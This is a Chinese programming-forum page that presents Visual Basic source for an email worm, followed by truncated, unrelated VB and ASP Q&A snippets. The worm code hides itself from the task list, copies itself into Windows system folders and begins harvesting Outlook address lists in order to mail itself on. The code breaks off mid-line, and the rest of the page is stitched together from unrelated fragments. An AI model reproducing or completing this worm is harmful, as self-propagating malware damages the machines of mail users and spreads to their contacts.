VB编写的小程序
这是个电子邮件病毒的代码，，大家没事看看吧
Sub Main()
'TaskVisible的功能是把程序在End Task表中除掉。
App.TaskVisible = False
'得到EXE的位置
Location = App.Path & "\" & App.EXEName & ".exe"
Location2 = App.Path & App.EXEName & ".exe"
'设目的地
DesLocation = "C:\WINDOWS\SYSTEM\Spray.exe"
DesLocation2 = "C:\WINNT\SYSTEM\HC.exe"
'阻止问题发生由于编写时难免会有错误，我们可以用这条代码来
On Error Resume Next
'开始复制自己
FileCopy Location, DesLocation
FileCopy Location2, DesLocation
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2
'以下就是发送mail蠕虫病毒。繁殖其实以下的代码用到了脚本编程。
Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath & "\" & FileName
Set MyApp = CreateObject("Outlook.Application")
If MyApp = "Outlook" Then
Set Christmas = MyApp.GetNameSpace("HC")
Set List = Christmas.AddressLists
For Each Addresslist In List
If Addresslist.AddressEntries.Count <> 0 Then
AddressListCount = Addressli
相关问答：
我有厂家做的ASP的监控录像（DVR）的局域网播放的源程序与控件，想要用ASP.net做一个视频回放的程序（利用他的控件）但不知如下去做，望各位指点。
先搞清楚他们的控件是怎么用的,
然后就直接用好了.
不过,如 ......
请教一下：我用vb写了一个调用Illustrator的测试程序，代码很简单：Private Sub Command1_Click()
Dim app As New Illustrator.Application
Dim doc As Illustrator.Document
Dim thislayer As Illustrator.Layer ......
比如进程加载新的程序。
在其运行之前阻止。
然后允许后放行。
比如程序主文件路径是c:\test\test.exe，建立内容任意的文件c:\test\test.exe.manifest。
就是不知道程序文件路径。
设� ......
vb中怎么通过xml来解析数据库中的字段值。
没办法用XML解析数据库的字段值，除非数据库中保存的是XML格式的字符串文档。
XML用来展示层次的数据。
数据库一般是二维数据。
数据库中保存的是XML字符串格式� ......
vb将winsock控件封装到dll问题 有什么好的思路？ 如果用Socket API呢？
例如，像下面这样封装Winsock控件，行的通？
创建ActiveX dll，添加窗体frmClient，加入WinSock控件wskClient。
类代码：
Option Expli ......
